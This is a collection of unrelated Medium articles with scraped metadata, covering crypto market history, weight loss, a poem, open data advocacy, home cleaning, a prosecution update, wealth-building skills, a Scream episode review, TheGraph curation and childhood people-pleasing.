However, Bitcoin was not dead. In fact, it was very much alive. Developers kept working on the code, new exchanges kept coming along, new people kept joining once they had learned about the potential of the technology. Between mid-2013 and mid-2014 a tremendous amount of altcoins sprung up further enriching the network and the exchanges. Most were worthless here-one-day-gone-the-next type of schemes, but some stuck.
DogeCoin Logo / Dogecoin.com
Like DogeCoin! And a little-known Initial Coin Offering platform called Ethereum, which was in fact itself an ICO! It was selling on Bleutrade for less than 100 satoshi per coin! And Ripple appeared… That’s a little bit of a touchy story since at the time the culture was “We hate banks, they ruined the economy, Bitcoin will replace them!” and here comes Ripple working WITH the gangster banksters trying to merge blockchain technology with them. That shook things up! Bitcoin maximalists were born, shunning and hating on Ripple and any other altcoin that appeared on the market with the promise of overthrowing the one true cryptocurrency. During this period, the famous HODL abbreviation was born as well! Altcoins started having market cycles, pump and dumps were born, manipulation of the markets was rampant and easy. Many scams started to appear, both from coin creators, exchanges, and anyone in between!
A lot of people lost their money during this time out of desperation to get it back from the failing Bitcoin prices. This was by no means a “dead space” as portrayed by the media during that period, no matter how negative things got at times. Personalities on Twitter like notsofast, crypto cobain, 22loops, and many others were being moulded into becoming the OGs they are today. For many this was their first major bear market. Those who made it out alive, and still holding onto their coins, came out the other end a bit roughed up, a bit more cynical, and a bit more cautious. But nonetheless they were stronger, fiercer, and more motivated than ever to push forward and take Bitcoin to new heights.
The Post-Fork Era
This section covers the, currently, short period of time between Spring 2017 and present day (26th of March 2018). In January-February of 2017, things were looking a lot better than before. Bitcoin had risen way above its low of around $200 almost back to $1,000. The overall market cap of the market at the time was about $10–15 billion with Bitcoin leading the charge and Ethereum close behind. No-one was truly prepared for what happened next.
Altcoin Spring
Between March and June 2017, the market cap rose to over $100BN. Ripple went from half a cent to almost 50 cents. Another cryptocurrency — Stratis, from half a cent to over $10. Antshares (now NEO) from a few cents to over $10, all back to back to back! At the same time, the Ethereum network was developed to the point where many aspiring entrepreneurs and development teams started issuing ICOs for their own blockchain related projects. This further filled the space with new money, which in turn pushed Ethereum to new heights from $10–20 to over $400! At this point, the culture had completely shifted. The few that had remained from the dark days had meshed with the new that had just arrived and made insane gains practically overnight! If you had started with $1,000 in February 2017 and played your cards right, you could have had over $100K by the end of June! This marked the start of a new major bull-run for Bitcoin and cryptocurrencies. The nature of communication shifted from forums, airdrops, Proof of Work (mineable) coins, to Slack and Telegram channels, ICOs, pre-mined and Proof of Stake/Masternode coins.
Bcash Summer
A notable even was the mid-july Bcash fork where Bitcoin essentially split into two. Everyone who held Bitcoin in their wallets received an equal amount of Bcash. Because this was an unprecedented event there was much uncertainty in the space and the market briefly lost over 35% in less than a month. But after the fork things appeared to be back to normal and prices continued to rise! The culture was one of constant pumps, everyone was making money! Gurus started springing out from the ground, YouTube channels started reviewing coins and ICOs. Technical analysts with years of professional experience joined the space and started sharing their insight on price action and candlestick patterns. Many newbies started imitating them. Because it was such a massive bull run even the most basic looking chart was a sure hit, everything was pumping together!
China Fall
For a brief period in September China said it was banning Bitcoin again or something. Some banker also said Bitcoin was a fraud, like that was some new or original statement. Turned out his little daughter was actually investing in cryptocurrency. Smart girl. One of the Twitter OGs mistakenly told everyone to exit all the crypto markets, that was a fun ordeal. But, by that point everyone knew China and the banks were practically non-relevant, so we quickly forgot about it and by the end of October we were back to making new heights! The excitement was growing, the community channels were buzzing, we were feeling like everyone and their grandma was in this ready for the big pump!
The Bcash Debacle
Roger Ver / Linkedin.com
Something funny happened for a few days in November. Roger Ver, the creater of Bcash fork (which took place in summer), was an early adopter of Bitcoin and disagreed with some of the plans that few developers had for the technology. He decided to fork it and make his own. Instead of branding it something original he called it Bitcoin Cash and tried to hijack the brand. This was done to such an extent that in early November, the Bitcoin mem-pool was mysteriously spammed with thousands of small transactions making the system clog up. This temporarily brought the price down. At the same time Bitcoin Cash’s price started rising exponentially with the South Korean exchange Bithumb leading the charge. However, at the peak of Bcash’s rise to the top, the Bithumb exchange mysteriously crashed. This sent the price of the coin plunging back down and it has since not recovered. Very coincidentally, Roger Ver was in South Korea at the time. And very coincidentally right after this all transpired the mem-pool for Bitcoin was cleared up and all the spam transactions stopped — the system was working fine again. That was fun to watch happening both on the charts and on social media, with thousands of people parading Bcash as the real Bitcoin. All those people fell silent after the event, almost as if they were some kind of sock puppets, who knows. You can draw your own conclusions.
Winter Boom
After which, the hype continued. At this point, Bitcoin had gone past the psychological $10,000 barrier and had quickly made its way to the high $15Ks. Songs about it were being sung online, popular news outlets started advertising it telling people how to buy. Celebrities like Paris Hilton and Katy Perry were advertising the space in various ways. Futures trading launched which meant that Wall Street could now trade a futures market for Bitcoin. That sure was a wholesome experience later on. All other cryptocurrencies were at the very top. People started wearing hand-knit sweaters with Bitcoin and Litecoin on them. Mainstream companies like Kodak and KFC joined the space in their own ways. Any rational investor could have seen that the top was near. And in fact, many of the OGs that had experienced that before did! One such legend, Crypto Cobain, tweeting “I’m close to officially calling the top on this motherfucker.”
Happy New Year!
And so, it was! At the peak of everyone’s euphoria, altcoin and Bitcoin prices plummeted. In the following months of January and February the market went from a high of $827BN to a low of $283BN. Bitcoin lost over 70% of its value dropping from a high of $20K to a low of almost $5800. Times are currently uncertain. We may be beginning a new altcoin spring, or it may be just a dead-cat bounce, we don’t know. Articles are starting to spring up again about how dead Bitcoin is, how ICOs should be illegal, how everything is a scam, and we’re all just in it for the money. Good developments like the new Lightning Network and Atomic Swaps are not being reported. Smaller more unknown cryptocurrencies like NANO, XBY and RDN that are major scaling solutions are not being reported. Few people seem to care that governments for the first time ever are addressing officially the nature of cryptocurrencies and are taking an agnostic and thoughtful approach to their integration into society. But none of that matters. We know. We now have a stronger culture than ever before.
Together We Are Strong
Image By Corello Hosting
The current climate is, in my humble opinion, the strongest it has ever been for crypto. Sure, scams and market manipulation are still prevalent. Of course, we know Bitfinex, the new Mt.Gox on the block, is doing illegal and shady stuff with Tether, pegging their stable coin to the dollar. No doubt, if they shut down due to a government crackdown it would probably send the price of Bitcoin plummeting to below $3K and altcoins with it. We realize that, and we’re still here. Because we know that none of that matters. The only thing that matters is that we fix the broken system of corrupt bankers and politicians running our world. The trust-less decentralized nature of the blockchain provides that solution. Ours is a culture of knowledge. There are still new people only in it for the money who do not understand the bigger picture and that’s fine. But the point is that more people than ever before understand the bigger picture and are willing to stick through these hard times for the massive potential rewards this revolutionary technology can bring both to us as individuals and as a society. That is where we are right now, and that, my dear readers, is where we’re heading.
Parting Words
As I said, I’ve only lived through a small fraction of what I described in this article, so if you’ve spotted any factual errors, please do leave a comment and we will amend it ASAP!
I hope you have enjoyed this trip back to memory lane to revisit the past, hopefully learn from it, and continue forward with a bit more conviction than before. If you’re someone from the distant future researching the phenomenon that it is crypto, and have stumbled upon this small piece, I hope it has given you some insight. A glimpse as to what things were like before all the major coins’ market caps were in the trillions. A time when price movements were in the hundreds of per cents instead of the fractions of one. A scary time. A glorious time. A time of revolution.
If you’d like to see stuff like this in the future, give me a follow.
— — — — — — — — — — — —
More on me 👇 Crypto Calavera
Full Time Cryptocurrency Trader
Contributing Writer on Cryptoweek
I’ve Got Socials 😎
Twitter — @cryptocalavera
Discord — Crypto Calavera#5707
|
https://medium.com/cryptoweek/welcome-to-the-crypto-culture-then-and-now-1ba0d07dad57
|
[]
|
2018-04-18 08:38:17.028000+00:00
|
['Cryptocurrency', 'Bitcoin', 'Opinion', 'Blockchain', 'Crypto']
|
5 things that didn’t change when I lost 120 pounds
|
By Jennifer Still
When I embarked on a journey to lose over 120 pounds a little over a year ago, I had no idea of all the changes my body — and my life as a whole — was about to undergo.
While many things changed drastically, a few things I expected to totally transform actually didn’t. It’s worth noting that everyone’s experience with their body is different, especially when it comes to weight. These are all from my personal experience and yours may vary.
Losing 120 pounds didn’t change my feelings about shopping for clothes
Finding things I like is still hard. Photo: Lucy Nicholson/Reuters
Admittedly, it is pretty great to have way more options when it comes to clothing styles since I went from a US size 24 to a US size 10/12. Although 68% of women in the US wear a size 14 and above, finding clothes in that size range or high is notoriously tough.
But that doesn’t mean that finding things that I like and that are actually flattering on me is any easier than it was before.
I think most women have a bit of a love/hate relationship with dressing rooms, but I was surprised to learn that this didn’t miraculously change for me once I dropped the pounds. Finding clothes that fit me, express my style, and that I enjoy wearing is still no easy task.
My relationship with food is still, somewhat, the same
Of course, this isn’t entirely true. I did have to change my relationship to food quite a bit in order to succeed in losing weight in the first place, but all of my dysfunctional impulses around and towards food are still firmly intact — I’m just in better control of them.
That being said, I still struggle with occasional binge behaviors or thinking about food in terms of “good” or “bad” but I’m only human. When it happens, I pick myself up and start over again rather than feeling like I’ll never overcome it. I realize now that these issues will likely always be a part of my life so I need to make peace with them.
My desire to work out hasn’t increased drastically
It’s still oftentimes hard to get myself to go to the gym. Photo: seksan Mongkhonkhamsao/Getty Images
I always feel good about working out after I actually do it, but being 120 pounds lighter and way fitter hasn’t suddenly made me some exercise machine who wakes up every morning raring to go. I feel that way sometimes, especially if I have a challenging spin class scheduled or I’m working toward a mileage goal for running, but there are still plenty of mornings I wake up dreading getting on my workout gear and heading to the gym.
I always feel good about working out after I actually do it, but being 120 pounds lighter and way fitter hasn’t suddenly made me some exercise machine who wakes up every morning raring to go. I feel that way sometimes, especially if I have a challenging spin class scheduled or I’m working toward a mileage goal for running, but there are still plenty of mornings I wake up dreading getting on my workout gear and heading to the gym.
I always feel good about working out after I actually do it, but being 120 pounds lighter and way fitter hasn’t suddenly made me some exercise machine who wakes up every morning raring to go. I feel that way sometimes, especially if I have a challenging spin class scheduled or I’m working toward a mileage goal for running, but there are still plenty of mornings I wake up dreading getting on my workout gear and heading to the gym.
I always feel better when it’s done, but that doesn’t mean getting there is any easier.
The way people treat me hasn’t changed much
Like many obese people, I used to feel regularly judged by everyone from my doctor to the other people at the gym to the waiter at the restaurant I was eating dinner at. It seemed like everyone was thinking that I was fat, gross, eating the wrong things, etc. In likelihood, most of the people I imagined having these thoughts likely weren’t thinking of me at all but it certainly felt like they were.
In reality, people still treat me (mostly) the same these days as they did when I was 120 pounds heavier. Sure, there are a few fewer stares when I’m shopping, but I’ve started to feel as though many of the ways I imagined I was being treated weren’t partially a projection of my own dissatisfaction with my weight.
It’s worth noting that this is simply my own experience. Fatphobia is a very real issue that can affect peoples’ mental and physical health and safety — I just don’t think I’ve experienced it first-hand as much as I thought I had.
My need to ‘diet’ still exists
Maintaining a healthy diet is still a part of my life. Photo: Alexander Spatari/Getty Images
I’ll admit that there was a part of me that felt like when I reached my goal weight, I’d be able to loosen up a bit when it came to being so strict with my diet. I knew that I was embarking on a lifestyle change rather than a temporary fix, but as I edge closer to my goal weight, I’m understanding more and more that “loosening up,” when combined with my tendency to binge, is a slippery slope.
That’s not to say that I don’t have the occasional treat — I do for sure, but I realize that I’ll have to keep a close eye on what I’m eating and how if I want to be successful in maintaining my loss, which I have every intention of doing. My health depends on it.
For more great stories, visit Insider’s homepage.
|
https://medium.com/insider/5-things-that-didnt-change-when-i-lost-120-pounds-b801dbc2c54f
|
[]
|
2020-12-18 22:07:15.547000+00:00
|
['Nutrition', 'Personal Essay', 'Weight Loss', 'Working Out', 'Diet']
|
The Blessings
|
The Blessings
Photo by Illiya Vjestica on Unsplash
You have blessed me with
The insight to know your ways better
The understanding to communicate with you
There were times when
I hated my own reflection
Now I look in the mirror and see you
I had got lost along the way
My mind had been clogged with doubts
The stars guided me and walked me through
I look back and see myself
Sitting alone and looking up in the sky
You tell me every day now
I am here for you
When the world broke my heart
The mountains turned into wise souls
They taught me to be brave
They told me every day is new
You have blessed me with
The heart that feels your soul
The belief that dreams do come true
You have blessed me with
daily encounters with you
that shape my days and nights
to appreciate everything I do
You are the universe
You are within me everywhere I go
I am surrounded with you
|
https://medium.com/spiritual-tree/the-blessings-7f5e389fbceb
|
['Simran Kankas']
|
2021-03-12 14:30:29.523000+00:00
|
['Spiritual Tree Prompt', 'Blessings', 'Spirituality', 'Poetry', 'Ｍedium']
|
UN World Data Forum 2020: Increasing Open Data Literacy in the Time of Covid-19
|
Advocating for better and more open data on corporate impacts, and engaging the public in the use of that data, is the foundation of the WikiRate platform. This October we were delighted to take part in the first virtual edition of the UN World Data Forum with a Ted Talk on increasing open data literacy in the time of Covid-19.
Our Ted Talk built on one of the main conference themes, Building Trust in Data and Statistics, with an exploration of the open data movement and our work to further corporate transparency. Through this work we are trying to not only build trust in the data — by making each data point traceable through transparent source citing — but also to make the data available in the first place. In the age of big data, accessible corporate sustainability data is lagging behind.
Over the past four years we have been engaging volunteers, students and researchers in collecting open data on corporate reporting to the Sustainable Development Goals through research on the WikiRate platform. With the emergence of Covid-19, academic institutions have been faced with unprecedented disruption to their teaching schedules and confronted with new challenges in engaging students using virtual formats. In order to support this adaptation, WikiRate is working to ensure that professors are able to use our research platform as a teaching tool.
In our Ted Talk, we present our Sustainable Development Goals research program as one such example for engaging students remotely in measuring and tracking corporate sustainability. Embedding open data literacy into curriculums in this way, is providing future leaders with knowledge and understanding of where data comes from, how it is used and the need for a critical approach to interpreting data.
During what has been a turbulent year so far, the need to build trust in data and statistics, and to propel the open data movement forward, has never been clearer. We hope you enjoy our Ted Talk below!
Interested in engaging with WikiRate to further the open data movement? Get in touch via our contact form.
|
https://medium.com/@wikirate/un-world-data-forum-2020-increasing-open-data-literacy-in-the-time-of-covid-19-34a826656049
|
[]
|
2020-10-20 12:36:03.117000+00:00
|
['United Nations', 'Open Data', 'Sdgs', 'Data', 'Education']
|
Save Time and Be “Green”
|
Save Time and Be “Green”
Although multi-tasking often leads to added stress, it does help us get things done. Being organized helps us multi-task and achieve quality at the same time. Did you see Real Simple Magazine’s article about how to line up the products in the bathroom that we use everyday? In addition, the same issue suggests ways to expeditiously clean the bathroom and use products that are not harmful to us and the environment.
I polled the people with whom I work in the office where we typeset and found that several members of Storkie’s staff use white vinegar and newspapers for glass surface cleaning. In addition, several others use rags instead of paper towels which saves paper. Then, I polled the people in customer service for their special, “green and short-cuts” for cleaning and organizing. Two of our staff use a recycling bin that sits in the garage, for all glass, paper, and plastic. When anyone leaves the house, they drop the things for recycling in the proper part of the bin. Karen, in customer service assures me it saves time and leads to less clutter.
Everyone unanimously agrees that a well-organized bathroom cabinet and clothing closet saves time when rushing about in the morning. Also, when a member of the family can’t find something, because everything has its place, Mom and Dad can help. Debbie said she has organized her family members’ things and closets with them since they were young. Now, it’s second nature that her family puts things back into their places. They all agree it saves time.
Stores that specialize in “green cleaning” products and organizers have displays that motivate us to set-up our homes for ease of life. Be sure and go on an outing for inspiration and if the items in the stores are too costly, look at Target, Walmart, Home Depot, Lowes, and second-hand stores for storage and organizing items that will make our lives more orderly, and save us precious time.
Let’s hear from you for ideas on saving time and cleaning “green.”
|
https://medium.com/storkie-ideas-inspiration-and-invitations/save-time-and-be-green-18a11ec2e084
|
['Storkie Express']
|
2017-01-21 22:03:05.932000+00:00
|
['Cleaning', 'Organizing']
|
For the Commonwealth: Assistant District Attorney Zach Wynkoop
|
For the Commonwealth highlights the important work our prosecutors are doing to help secure justice in specific cases brought by the Philadelphia District Attorney’s Office.
Assistant District Attorney Zach Wynkoop of our Family Violence and Sexual Assault Unit helped secure justice recently in a case involving a defendant convicted after a waiver trial for Attempted Murder and Possession with Intent to Distribute. The defendant was accused of entering a restaurant and firing a gun at a former partner’s head, narrowly missing her. A search warrant was executed at the defendant’s residence and several hundred grams of heroin were seized. The defendant is scheduled for sentencing before the Hon. Lucretia Clemons in January 2021.
|
https://medium.com/philadelphia-justice/for-the-commonwealth-assistant-district-attorney-zach-wynkoop-1f9e9eb4496f
|
['Philadelphia Dao']
|
2020-11-16 19:43:18.804000+00:00
|
['Criminal Justice', 'Philadelphia', 'Prosecutor']
|
5 Skills You Need To Perfect To Create Wealth
|
5 Skills You Need To Perfect To Create Wealth
Financial success and wealth in general, is simply about developing and mastering a set of diverse skills.
Photo by Austin Distel on Unsplash
There are many more than 5, of course, but these are perhaps some of the most important ones especially in today’s younger generation.
Skill # 1: Personal Marketing
Knowing how to promote yourself, promote your business.
Today we have the greatest opportunity in history, it really has never been so possible and easy to carry out a business idea, undertake and do something new that allows us to create much more abundance.
At this moment it is possible to put aside the mentality of “slaves”, (if we can call it that) that gives us the job and working to fulfill the objective of another person.
So, when we say “well, let’s create our own business“, or even looking for a good job, it is no longer enough to simply know an art, have the necessary degrees, or whatever it takes to have that job…
… I need to promote myself, I need to know how to do marketing.
Previously, having a good social profile, knowing how to advertise or something else, perhaps it was something new and something that few people mastered, but today it is becoming more and more difficult as more people begin to understand how to promote themselves.
And it’s these people who dominate personal marketing who are getting a better slice of the market.
It is no longer enough to have a good resume and hope that some employer will see the value you have as an employee.
Or that you create a business and just by having it open to the public, people will come by, go in and buy.
Worse still on the Internet… Just having a website or a social profile is simply not going to be enough.
This ability is something that is really differentiating the companies that are successful today from those that are lagging behind.
So, both on a personal, business and professional level, marketing is now more than ever essential and it is a skill that you must acquire and perfect.
Skill # 2: Negotiation
It is not about taking advantage of the other, trying to reduce the price as much as possible to pay less and take advantage of the other person.
But to understand and know how to do so that the other person also wins but that you really get a very good deal.
In other words, don’t be scammed, know how to understand what a good deal is, who is offering you something fair.
That it does not happen to you like many people who, because they do not have the ability to negotiate, accept anything, the first thing that crosses them.
These people end up spending more money, or receiving much less money for the things they have to sell or for their services, and they do so for years.
They are not able to negotiate their salary when looking for a job, because they feel at a disadvantage and believe that the employer is the one with the ability or the leverage to negotiate, and many other things.
This ultimately translates into a loss of opportunity, enormous cost, and far less abundance in the long run.
And therefore, acquiring the ability to negotiate very well and knowing how to do it with excellence is basically one more way to create wealth in your life.
Skill # 3: Mastering Digital Tools
Perhaps many people have preferences, such as reading a book on paper instead of digital, or closing a deal in person and not so much by phone, much less by chat or something like that.
But it is not a surprise that especially this year, we are realizing that digital tools and new technologies are changing the world at an ever faster rate.
This is something that has been repeated for years and perhaps decades, but today more than ever digital colleagues are eating the world, and people who are left behind simply for saying “I’m not technological, technology runs me over, I don’t understand computers or cell phones”, or whatever …
… They are missing great opportunities that perhaps for who knows what reasons, younger people are taking advantage of today.
What happens is that there is more and more competition, it is more and more difficult, so if today you try a little bit, it is not about becoming a programmer, or an engineer, or a systems hacker, not much less…
Rather, put in a little effort to improve your skill, to know a little more, to understand how at least the systems that are relevant to whatever you want to achieve in your professional and financial life work.
The safest thing is that just by acquiring those skills you will be above many other people later on and have an advantage over them, because most people are afraid of change, they are afraid of adopting this new paradigm.
Skill # 4: Consistent Planning and Taking Action
What’s more, even better a perfect balance between the two.
Because there are people who are perfect at making plans, they are inveterate dreamers and they are not capable of doing anything more than visualizing, imagining, seeing all the opportunities they have in their hands to get rich, to become millionaires, to “make money” as some call it.
And when you see what they are really doing, either they are not doing what is leading to results, or they are not doing anything at all.
While other people who work hard all the time, every day, get up early, go to bed early, they are very persistent and very disciplined, very consistent, and yet we still don’t see tangible results in their lives.
Because they need planning, because they don’t know what to do if something in the activities they are carrying out goes wrong, they don’t know what a contingency plan is, they don’t have a structure regarding what things are worth doing.
Really the most successful people know how to plan, design an ideal plan taking into account even some unforeseen events, and they know what to do when things do not go as expected.
They also know how to measure results every day, so they know for sure whether or not they are progressing at the rate they need.
And based on that if yes, they continue to do so; and if not, what adjustments should they make.
For people who don’t take this into account, it is no surprise that some years later they find themselves in exactly the same place or perhaps a little further back.
Skill # 5: Simple Financial Math
I’m not referring to complex calculations, amortization tables, or compound interest formulas, or anything like that.
I am referring to a skill that in Colombia we call “putting a pencil to things”.
Basically it is, when buying a car, do the math.
Not only how much does the car cost, how much are you going to have financed with the bank, but also analyze the fees:
What is the interest rate
What are the associated insurance
The cost of gasoline
The tax to be paid annually
What is the cost of the all-risk policy if it is to be acquired
Mandatory insurance, and many other things.
Even a budget for unforeseen repairs, even if it’s a new car, doesn’t matter.
Many people fail when it comes to buying a car, when it comes to buying a house, when it comes to starting a new business, when it comes to doing just about anything financially, not doing the math correctly.
It applies both for a decision that I am going to make, and for a decision that I am failing to make out of ignorance.
In other words, both the cost of acquiring an opportunity and the cost of not acquiring it.
The mere fact that I know how to do the math, know at least how much money is required, how much money you don’t have, what is the profitability.
Take into account many factors that ultimately it is as simple as writing on paper, or looking for an online financial calculator, or whatever.
No study or advanced knowledge is required, and in an afternoon of analysis you can do practically anything.
What is required is the habit that you really know how to “put a pencil” on things every time you make a decision.
But why do it? Simply so that the financial decision is not made emotionally, do not get carried away by your subconscious that many times has other motivations other than profitability, different from making a decision that makes sense, different from one that basically maximizes the value of your money in the long term, even in the medium term.
Even many times motivations other than those that make sense when we think about it out loud, such as when we make decisions to impress other people or to try to prove what we are really worth, and many other things.
If you get used to having a simple financial math running all the time in the back of your mind, basically you become a machine that composes financial decision after correct financial decision and in a short time you will see yourself in a better situation because you apply the numerical principles of success.
These are some of the skills that are required to create wealth, in fact they are practically those that many people who have reached great levels of wealth have carried out knowing or not knowing.
Either because they were educated that way, or because they realized that it was basically what worked and began to develop them.
Gain Access to Expert View — Subscribe to DDI Intel
|
https://medium.com/datadriveninvestor/5-skills-you-need-to-perfect-to-create-wealth-512f16cb756b
|
['Chris Isle']
|
2020-12-29 15:29:25.847000+00:00
|
['Self Improvement', 'Startup', 'Life Lessons', 'Business', 'Entrepreneurship']
|
Scream episode review — 2.5 — Dawn of the Dead
|
Original air date: June 28, 2016
Director: Oz Scott
Writer: Heath Corson
Rating: 4/10
Like the last episode, I’m going to applaud this one for doing something pretty different. But also like the last episode, it’s not very good. In fact, I think this is the worst episode so far.
The police show up at the school and everyone’s put in lockdown, with the police interviewing people semi-related to Jake one by one, keeping everyone else in the library. Or at least the couple dozen extras that they have. I don’t want to complain about this, and maybe it was indeed an after school thing that got shut down, but still, I think there were more than 30 students in attendance.
Anyways, Brooke is convinced Seth Branson has killed Jake in order to get at her or something.
And the entire time in the library, Audrey’s eyeing Stavo.
Then Emma finds Jake’s phone, believing someone had slipped it into her backpack at some point. You’d think she’d just go to the police at this point, and that at this point, her claims from the other night about an attacker would be taken seriously, but she acts a little illogically here.
And then things get a little weird. When Kieran learns that the police are checking lockers, he says he needs to get to his because he has something he doesn’t want the police to find, but he won’t tell Emma or anybody else what it is. So Noah helps him sneak out and get to his locker.
And he gets caught with a gun. He’s taken away to talk to the sheriff, who says he understands, and is willing to overlook it as long as he helps him out. He does so by telling him about Emma’s phone, so they talk to her, and she’s mad at him.
I honestly don’t really get what Emma’s on about here. To pre-emptively not to want to go to the police here is insane. You understand it a bit more after she actually talks to the sheriff and he’s only interested in her mental health history, but I don’t know why she thought that would be the case.
At any rate, she’s taken to talk to the psychology teacher, Kristen Lang (Austin Highsmith), and placed alone in an office, which she finds (after receiving a call from the killer) she’s locked in.
She screams when she sees the killer and shit, and she breaks the window to get out for some reason. And when she shows up bloody (from cuts on the broken glass), this doesn’t help her “I’m not insane” case, but she just claims it was a panic attack, not that she saw the killer and everything.
Meanwhile, Audrey starts basically a riot when she steals away Stavo’s iPad and shows the 20 or so extras the drawings he’s done, which leads a few people to start beating him (and also break the iPad).
But before that, she talks to Noah and accidentally reveals that she’s been getting calls from the killer, though she tries to insist she meant texts.
But it’s enough to convince Noah to snatch her phone when he gets the chance, and we end on the cliffhanger of him seeing the gif of her with Jake’s body. So that’s a pretty big bombshell. Obviously we as viewers mostly understand the context of that (not completely, because we still don’t really know what she was doing in contacting Piper), but he doesn’t, so that’s pretty great dramatic irony.
But this episode is bad. Character actions are wildly illogical — mainly with Emma, but honestly down to the Sheriff writing off Kieran bringing a gun to school. This is just wild stuff.
|
https://medium.com/as-vast-as-space-and-as-timeless-as-infinity/scream-episode-review-2-5-dawn-of-the-dead-bb843196b36e
|
['Patrick J Mullen']
|
2021-03-07 14:08:06.315000+00:00
|
['TV', 'MTV', 'Scream', 'Mystery', 'Horror']
|
Why TheGraph is important for Web3
|
TheGraph’s curation program has allowed us to learn about TheGraph ecosystem, how Subgraphs work, and evaluate which subgraphs are high quality and useful to users. It was also extremely insightful to learn how subgraphs are developed, deployed, and used. We at Anyblock have developed a dashboard that leverages the subgraph from TheGraph Testnet to visualize meaningful and important metrics for curators, indexers, and other interested users.
How TheGraph advances web3
We at Anyblock believe in TheGraph because it advances blockchain and web3 in several ways.
TheGraph enables essential decentralization so that no one entity, or organization, controls what is relevant to users.
TheGraph advances blockchain and Web3 by providing an ecosystem for many users to work with and have simpler access to blockchain data.
Using TheGraph makes web3 more accessible to developers. Querying from the blockchain becomes easier , cheaper and less time consuming .
, and . GraphQL is flexible and easy to understand and apply.
With decentralization, security and reliability are ensured, leading to robust data sources. Trust is minimized (you still need to trust the subgraph developer if you cannot verify the code yourself).
With the decentralized and open source system of TheGraph, we can be sure that the ecosystem will be there forever and developers can develop their dApps around Subgraphs.
Not only do we believe in TheGraph, but TheGraph is also critical to Web3. It is crucial, because not every data is easily queryable from the Ethereum network. The task of gathering data from Ethereum can be cumbersome, time consuming and expensive. It allows and enables developers to work easier and efficiently with blockchain data. TheGraph lowers the barrier to entry into blockchain development. Furthermore Subgraphs provide fast response times, because the computations on the data are performed prior to the querying. Therefore using Subgraphs for dApp development is faster and more reliable.
Most critical for Web3 are Subgraphs, which provide data for use-cases that are emerging and trending (DeFI, …). Subgraphs have to deliver data which is accurate and up to date. If these conditions are satisfied, TheGraph will advance Web3.
What we’ve learned as curator in TheGraph testnet
During the curator program we learned a lot of things: We were able to consolidate and deepen our knowledge in TheGraph ecosystem. Learn the evaluation criteria for subgraphs. Understand the functioning of subgraphs, their mappings as well as the schema. We also learned how to use GraphQL to query Subgraphs. As a curator in the network, it is important to be able to distinguish good subgraphs from bad ones. When curation goes live on the Mainnet, we are excited to influence and help in developing the ecosystem by evaluating Subgraphs and signalling on interesting and promising new Subgraphs. In addition, here at Anyblock we’ll throw in our extensive experience with running blockchain infrastructure and serve TheGraph network as indexers, and building tools for the whole ecosystem.
We are already excited and looking forward to continuing this journey after the successful launch on Mainnet this week!
Freddy Zwanzger — Co-Founder of Anyblock
Interested or questions?
Freddy Zwanzger
(Co-Founder)
[email protected]
+49 6131 3272372
Follow us:
Twitter, LinkedIn,
Medium, YouTube
|
https://medium.com/@anyblocktools/why-thegraph-is-important-for-web3-cd928c18c614
|
['Anyblock Analytics Gmbh']
|
2021-01-31 05:03:14.701000+00:00
|
['GraphQL', 'Dashboard', 'Web3', 'The Graph', 'Query']
|
How My Parents Caused Me to Lose Confidence
|
Fixing trauma caused by your parents can be difficult. At the end of this article, I recommend a digital course which has helped me a lot with this process.
For most of my lifetime, I was a people pleaser. I had trouble saying no. Other people would take advantage of me. I had low self-esteem and had trouble socializing. It took me over 30 years to realize the main cause of all these problems — my parents. If you can relate to my situation, read along…
Telling Me I’m Ungrateful and Lazy
Let’s look at a model situation from the life of my 10 year old self. One day, my parents called me from work and asked me to do the dishes. I agreed. But for some reason, I didn’t do it right away. I don’t remember why exactly. Maybe I already had plans to hang out with my friends. Or I was just playing games on the computer. Maybe I was even working on your homework. I told myself that I had plenty of time. But then, I got distracted. I’ve spent too much time on the other activity, or I simply forgot about the dishes.
When my parents came home and walked into the kitchen, they saw a sink full of nasty dirty dishes. Perhaps understandingly, they got upset. They told me: “Why didn’t you do the dishes? We put a roof over your head, we feed you, we take care of you. All we ask for is that you help a little around the house. But no, you didn’t even take 10 minutes to do the dishes. Is that really too much to ask for? You know what you are? You are ungrateful. You are lazy. And you are selfish!“
They may have not said the last things so bluntly, but it was certainly how I felt when my parents disapproved of me this way.
Learning From Our Environment
As children, we are trying to learn as much as we can about the world around us and how it works. We are learning from your parents, close family members, our teachers, our friends. We view our parents as an authority. After all, they are adults. They have jobs and they provide for us. And we are just kids. We don’t know how the world works and we are unable to take care of yourselves…
If our parents get upset about the dishes, we are thinking: “They are right. They do take care of me. And they just wanted me to do 1 small thing. Instead of doing it, I just found excuses. I guess I am lazy and ungrateful. I don’t deserve them. I’m just a terrible selfish human being. I don’t deserve to be loved.“
I realize this may look crazy from an outsider perspective. You may have never had these thoughts. At least not consciously. But if these kinds of situations keep repeating throughout our childhood, and our parents keep telling us what a bad person we are, we will believe them. Over the years, these thoughts get programmed into our subconscious mind. We will actually view ourselves as terrible people.
Compensating by People Pleasing
OK so you believed I was a bad person. But I still had to interact with the world. I needed my parents to love me and to take care of me in order to survive. I wanted to have friends and a girlfriend. Later on, I wanted to have good relationships at my workplace, etc. But how could people like me if I’m such a bad person?
Simple, I just had to find some way to compensate for it. Some of the things I did to compensate for being a bad human being were:
Always putting others before myself
Seeking approval of others
Always agreeing with people (being afraid of disagreeing)
Never saying “no”
Always offering to help (even if it wasn’t convenient for me)
Needing to always make jokes and/or entertain (being a class clown)
Trying to impress others with my skills
Tolerating inappropriate behavior towards me (inability to set boundaries)
The Toll This Took on My Life
When I was exhibiting these behaviors, people would be taking advantage of me. I’d go above and beyond to make everyone around me happy. And I thought that they would feel the same way and I expected them to do the same for me. But when the time came for them to return the favor, they declined. Consequently I was feeling disappointed, hurt, and resentful.
The worst part was, that people appreciate appreciate nor respect me. They could sense my low self-esteem and the fact that I was compensating. If I didn’t respect myself, why should they respect me?
Even when I managed to build some relationships, I could never be sure they are legit. Most of my “friends” were just hanging out with me because of the benefits they were getting out of it. They didn’t really “like me for me”. They were using me as a doormat. This off course doesn’t mean that everyone was just using me (there were exceptions), but it’s an interesting thing to think about. Which of your friends are actually your “real” friends?
Forgiving My Parents
When I realized this, the first thing I felt was resentment towards my parents. After all, how could they ruin my life like this? But then I realized they didn’t do it on purpose. They were just subconsciously doing what they learned from their parents, without realizing the consequences. They didn’t have access to so many amazing resources as I had — books, websites, videos, courses, etc. Trauma is passed from generation to generation. If I didn’t realize this and proactively change it, you would’ve most likely pass the same trauma onto my own children.
How Can We Fix This?
